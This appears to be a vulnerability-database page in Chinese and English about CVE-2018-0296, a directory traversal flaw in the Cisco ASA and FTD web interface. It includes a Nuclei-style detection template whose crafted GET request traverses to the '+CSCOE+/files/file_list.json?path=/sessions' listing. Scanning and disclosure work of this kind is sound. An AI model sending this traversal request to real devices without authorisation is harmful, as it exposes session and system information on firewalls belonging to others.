CVE-2018-0296: Cisco ASA - Local File Inclusion

日期: 2025-08-01 | 影响软件: Cisco ASA | POC: 已公开

漏洞描述

Cisco Adaptive Security Appliances (ASA) web interfaces could allow an unauthenticated, remote attacker to cause an affected device to reload unexpectedly, resulting in a denial of service (DoS) condition. It is also possible on certain software releases that the ASA will not reload, but an attacker could view sensitive system information without authentication by using directory traversal techniques. The vulnerability is due to lack of proper input validation of the HTTP URL. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. An exploit could allow the attacker to cause a DoS condition or unauthenticated disclosure of information. This vulnerability applies to IPv4 and IPv6 HTTP traffic. This vulnerability affects Cisco ASA Software and Cisco Firepower Threat Defense (FTD) Software that is running on the following Cisco products: 3000 Series Industrial Security Appliance (ISA), ASA 1000V Cloud Firewall, ASA 5500 Series Adaptive Security Appliances, ASA 5500-X Series Next-Generation Firewalls, ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers, Adaptive Security Virtual Appliance (ASAv), Firepower 2100 Series Security Appliance, Firepower 4100 Series Security Appliance, Firepower 9300 ASA Security Module, FTD Virtual (FTDv). Cisco Bug IDs: CSCvi16029.

PoC代码[已公开]

id: CVE-2018-0296

info:
  name: Cisco ASA - Local File Inclusion
  author: organiccrap
  severity: high
  description: |
    Cisco Adaptive Security Appliances (ASA) web interfaces could allow an unauthenticated, remote attacker to cause an affected device to reload unexpectedly, resulting in a denial of service (DoS) condition. It is also possible on certain software releases that the ASA will not reload, but an attacker could view sensitive system information without authentication by using directory traversal techniques. The vulnerability is due to lack of proper input validation of the HTTP URL. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. An exploit could allow the attacker to cause a DoS condition or unauthenticated disclosure of information. This vulnerability applies to IPv4 and IPv6 HTTP traffic. This vulnerability affects Cisco ASA Software and Cisco Firepower Threat Defense (FTD) Software that is running on the following Cisco products: 3000 Series Industrial Security Appliance (ISA), ASA 1000V Cloud Firewall, ASA 5500 Series Adaptive Security Appliances, ASA 5500-X Series Next-Generation Firewalls, ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers, Adaptive Security Virtual Appliance (ASAv), Firepower 2100 Series Security Appliance, Firepower 4100 Series Security Appliance, Firepower 9300 ASA Security Module, FTD Virtual (FTDv). Cisco Bug IDs: CSCvi16029.
  impact: |
    An attacker can read sensitive files on the Cisco ASA firewall, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the necessary security patches or updates provided by Cisco to fix the local file inclusion vulnerability.
  reference:
    - https://github.com/yassineaboukir/CVE-2018-0296
    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180606-asaftd
    - https://www.exploit-db.com/exploits/44956/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-0296
    - http://www.securitytracker.com/id/1041076
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2018-0296
    cwe-id: CWE-22,CWE-20
    epss-score: 0.94436
    epss-percentile: 0.99986
    cpe: cpe:2.3:a:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: adaptive_security_appliance_software
  tags: cve2018,cve,edb,cisco,lfi,traversal,asa,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions"

    headers:
      Accept-Encoding: deflate

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "///sessions"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a165cedaa3c11b989507afec58cac5b0370df45a586d23561906ee46532f5a34022100eb26cfedafe99a9255521177b971ba8f923d9b879c8daf35ab2194b132ac3152:922c64590222798bb761d5b6d8e72950

相关漏洞推荐